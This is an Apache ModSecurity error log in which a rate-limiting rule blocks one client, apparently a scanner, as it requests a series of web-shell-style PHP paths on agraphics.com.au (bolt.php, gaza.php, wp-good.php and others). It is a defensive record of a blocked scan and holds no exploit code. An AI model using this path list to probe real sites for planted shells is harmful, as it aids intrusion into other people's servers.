[Thu Apr 23 21:55:33.253965 2026] [:error] [pid 64998:tid 65022] [client 51.12.86.96:6117] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeok1YV5EysYcTLjmwiN2AAAAdQ"]
[Thu Apr 23 21:55:33.816157 2026] [:error] [pid 42972:tid 43023] [client 51.12.86.96:6080] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeok1cOAb-3sOknsk4dJYgAAAEc"]
[Thu Apr 23 21:55:34.477322 2026] [:error] [pid 65000:tid 65053] [client 51.12.86.96:6138] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeok1r6vRb9j6psK2ZaeyAAAAhQ"]
[Thu Apr 23 21:55:35.033511 2026] [:error] [pid 25635:tid 25656] [client 51.12.86.96:21843] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeok18Rxv6UsgRGKB3I2kAAAARE"]
[Thu Apr 23 21:55:35.648548 2026] [:error] [pid 65000:tid 65037] [client 51.12.86.96:21809] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeok176vRb9j6psK2Zae1wAAAgQ"]
[Thu Apr 23 21:55:36.234854 2026] [:error] [pid 42972:tid 43034] [client 51.12.86.96:21861] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeok2MOAb-3sOknsk4dJYwAAAFI"]
[Thu Apr 23 21:55:36.764123 2026] [:error] [pid 65000:tid 65055] [client 51.12.86.96:6108] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeok2L6vRb9j6psK2Zae3wAAAhY"]
[Thu Apr 23 21:55:37.364118 2026] [:error] [pid 65000:tid 65043] [client 51.12.86.96:5734] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeok2b6vRb9j6psK2Zae5AAAAgo"]
[Thu Apr 23 21:55:37.903386 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:5747] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeok2b6vRb9j6psK2Zae6wAAAgk"]
[Thu Apr 23 21:55:39.163761 2026] [:error] [pid 46953:tid 46978] [client 51.12.86.96:21848] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeok20nlpdHh-P6wKbo-bAAAAlU"]
[Thu Apr 23 21:55:39.777410 2026] [:error] [pid 65000:tid 65047] [client 51.12.86.96:5755] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeok276vRb9j6psK2Zae7wAAAg4"]
[Thu Apr 23 21:55:40.511056 2026] [:error] [pid 42973:tid 43064] [client 51.12.86.96:5742] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeok3G6I0QqmmmLTHE0k8AAAAJU"]
[Thu Apr 23 21:55:41.044175 2026] [:error] [pid 42972:tid 43020] [client 51.12.86.96:21825] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeok3cOAb-3sOknsk4dJZwAAAEQ"]
[Thu Apr 23 21:55:42.323846 2026] [:error] [pid 65000:tid 65037] [client 51.12.86.96:5698] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeok3r6vRb9j6psK2Zae-gAAAgQ"]
[Thu Apr 23 21:55:42.942808 2026] [:error] [pid 42972:tid 43021] [client 51.12.86.96:21839] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeok3sOAb-3sOknsk4dJaQAAAEU"]
[Thu Apr 23 21:55:43.535926 2026] [:error] [pid 65000:tid 65056] [client 51.12.86.96:6103] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeok376vRb9j6psK2ZafAQAAAhc"]
[Thu Apr 23 21:55:44.100807 2026] [:error] [pid 42972:tid 43036] [client 51.12.86.96:5723] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeok4MOAb-3sOknsk4dJbQAAAFQ"]
[Thu Apr 23 21:55:44.736760 2026] [:error] [pid 42973:tid 43059] [client 51.12.86.96:6105] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeok4G6I0QqmmmLTHE0k-AAAAJA"]
[Thu Apr 23 21:55:45.310951 2026] [:error] [pid 42973:tid 43045] [client 51.12.86.96:5385] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeok4W6I0QqmmmLTHE0k-gAAAII"]
[Thu Apr 23 21:55:46.047406 2026] [:error] [pid 42972:tid 43018] [client 51.12.86.96:6121] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeok4sOAb-3sOknsk4dJcAAAAEI"]
[Thu Apr 23 21:55:46.607538 2026] [:error] [pid 65000:tid 65055] [client 51.12.86.96:6140] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeok4r6vRb9j6psK2ZafEQAAAhY"]
[Thu Apr 23 21:55:47.155817 2026] [:error] [pid 65000:tid 65054] [client 51.12.86.96:5745] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeok476vRb9j6psK2ZafFQAAAhU"]
[Thu Apr 23 21:55:47.733341 2026] [:error] [pid 64998:tid 65005] [client 51.12.86.96:5729] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeok44V5EysYcTLjmwiN4AAAAcM"]
[Thu Apr 23 21:55:48.338638 2026] [:error] [pid 65000:tid 65051] [client 51.12.86.96:6118] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeok5L6vRb9j6psK2ZafGwAAAhI"]
[Thu Apr 23 21:55:49.178317 2026] [:error] [pid 64998:tid 65013] [client 51.12.86.96:6131] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeok5YV5EysYcTLjmwiN4wAAAcs"]
[Thu Apr 23 21:55:50.894754 2026] [:error] [pid 65000:tid 65043] [client 51.12.86.96:5713] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeok5r6vRb9j6psK2ZafHgAAAgo"]
[Thu Apr 23 21:55:51.461660 2026] [:error] [pid 59700:tid 59723] [client 51.12.86.96:5729] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeok55XyGZJFeAIDWtkwjQAAAVU"]
[Thu Apr 23 21:55:52.122881 2026] [:error] [pid 65000:tid 65040] [client 51.12.86.96:6107] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeok6L6vRb9j6psK2ZafIwAAAgc"]
[Thu Apr 23 21:55:52.751232 2026] [:error] [pid 59700:tid 59719] [client 51.12.86.96:6123] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeok6JXyGZJFeAIDWtkwjgAAAVE"]
[Thu Apr 23 21:55:53.295726 2026] [:error] [pid 42971:tid 42996] [client 51.12.86.96:6087] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeok6TEP2_5RswrH8bEuswAAAAo"]
[Thu Apr 23 21:55:53.844680 2026] [:error] [pid 25635:tid 25663] [client 51.12.86.96:5748] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeok6cRxv6UsgRGKB3I2lQAAARg"]
[Thu Apr 23 21:55:54.399669 2026] [:error] [pid 59700:tid 59715] [client 51.12.86.96:6083] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeok6pXyGZJFeAIDWtkwkAAAAU0"]
[Thu Apr 23 21:55:55.044578 2026] [:error] [pid 42971:tid 43010] [client 51.12.86.96:5697] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeok6zEP2_5RswrH8bEutQAAABg"]
[Thu Apr 23 21:55:55.635878 2026] [:error] [pid 65000:tid 65056] [client 51.12.86.96:5740] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeok676vRb9j6psK2ZafLAAAAhc"]
[Thu Apr 23 21:55:56.269032 2026] [:error] [pid 65000:tid 65039] [client 51.12.86.96:5420] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeok7L6vRb9j6psK2ZafLgAAAgY"]
[Thu Apr 23 21:55:56.926232 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:5738] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeok7L6vRb9j6psK2ZafMQAAAgk"]
[Thu Apr 23 21:55:57.486784 2026] [:error] [pid 65000:tid 65051] [client 51.12.86.96:6093] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeok7b6vRb9j6psK2ZafNAAAAhI"]
[Thu Apr 23 21:55:58.239688 2026] [:error] [pid 59700:tid 59702] [client 51.12.86.96:5758] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeok7pXyGZJFeAIDWtkwlAAAAUA"]
[Thu Apr 23 21:55:58.865761 2026] [:error] [pid 59700:tid 59712] [client 51.12.86.96:6104] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeok7pXyGZJFeAIDWtkwlQAAAUo"]
[Thu Apr 23 21:55:59.485171 2026] [:error] [pid 64998:tid 65002] [client 51.12.86.96:5386] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeok74V5EysYcTLjmwiN6wAAAcA"]
[Thu Apr 23 21:56:00.017388 2026] [:error] [pid 42972:tid 43023] [client 51.12.86.96:5717] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeok8MOAb-3sOknsk4dJnAAAAEc"]
[Thu Apr 23 21:56:00.591947 2026] [:error] [pid 42972:tid 43040] [client 51.12.86.96:5701] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeok8MOAb-3sOknsk4dJnwAAAFg"]
[Thu Apr 23 21:56:01.300322 2026] [:error] [pid 64967:tid 64973] [client 51.12.86.96:5391] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeok8YAV4GfOOdX8Qzp48AAAAYQ"]
[Thu Apr 23 21:56:01.878301 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:6081] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeok8b6vRb9j6psK2ZafPAAAAgk"]
[Thu Apr 23 21:56:02.408271 2026] [:error] [pid 64998:tid 65019] [client 51.12.86.96:5410] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeok8oV5EysYcTLjmwiN7wAAAdE"]
[Thu Apr 23 21:56:02.946862 2026] [:error] [pid 59700:tid 59720] [client 51.12.86.96:6132] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeok8pXyGZJFeAIDWtkwmQAAAVI"]
[Thu Apr 23 21:56:04.310393 2026] [:error] [pid 43083:tid 43100] [client 51.12.86.96:5394] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeok9DC5hrvNXosL83J9qgAAAM8"]
[Thu Apr 23 21:56:04.959622 2026] [:error] [pid 64998:tid 65010] [client 51.12.86.96:21775] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeok9IV5EysYcTLjmwiN8wAAAcg"]
[Thu Apr 23 21:56:05.641340 2026] [:error] [pid 42971:tid 43007] [client 51.12.86.96:5413] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeok9TEP2_5RswrH8bEuuQAAABU"]
[Thu Apr 23 21:56:06.293460 2026] [:error] [pid 64998:tid 65020] [client 51.12.86.96:21846] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeok9oV5EysYcTLjmwiN-QAAAdI"]
[Thu Apr 23 21:56:06.879965 2026] [:error] [pid 42972:tid 43036] [client 51.12.86.96:5423] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeok9sOAb-3sOknsk4dJugAAAFQ"]
[Thu Apr 23 21:56:07.666057 2026] [:error] [pid 42971:tid 42987] [client 51.12.86.96:6133] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeok9zEP2_5RswrH8bEuugAAAAE"]
[Thu Apr 23 21:56:08.323620 2026] [:error] [pid 64998:tid 65018] [client 51.12.86.96:5738] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeok-IV5EysYcTLjmwiOAAAAAdA"]
[Thu Apr 23 21:56:08.913009 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:6100] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeok-L6vRb9j6psK2ZafSgAAAgk"]
[Thu Apr 23 21:56:09.490346 2026] [:error] [pid 42973:tid 43055] [client 51.12.86.96:6102] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeok-W6I0QqmmmLTHE0lHwAAAIw"]
[Thu Apr 23 21:56:10.091977 2026] [:error] [pid 59700:tid 59725] [client 51.12.86.96:21853] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeok-pXyGZJFeAIDWtkwnAAAAVc"]
